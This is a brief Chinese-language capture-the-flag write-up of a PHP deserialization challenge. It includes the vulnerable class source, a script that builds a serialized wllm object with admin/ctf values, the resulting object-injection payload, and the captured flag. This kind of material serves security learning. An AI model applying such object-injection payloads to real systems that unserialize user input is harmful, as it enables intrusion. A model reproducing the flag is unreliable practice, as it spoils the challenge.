首先进入到靶机中看到没有东西,就有一张图片,先拿御剑扫了一下后台发现几个文件,robots.txt,index.html,flag.php
进入到robots.txt文件发现了cl45s.php,进入后发现了源代码
分析一下代码,error_reporting(0) 关闭了错误提醒 show_source("cl45s.php")显示当前文件源码,class wllm 定义了两个公共属性admin和passwd,以及一个构造函数_construct和一个析构函数_destruct(),定义了admin的初始值user和passwd的初始值123456。admin=admin和passwd=ctf会传出flag.php否则输出admin和passwd的值和just a bit more!
从代码中获取一个参数p,并反序列化这个参数。
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$a = new wllm();
$a -> admin ='admin';
$a -> passwd='ctf';
$p=serialize($a);
$s=$p;
echo $s.'<br>';
$s=unserialize($p);
echo'<br>'.$s.'<br>';
?>
运行得到O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
然后输入进去得到了flag。NSSCTF{4143d959-8c97-4412-85d1-fc3fe493e01d}。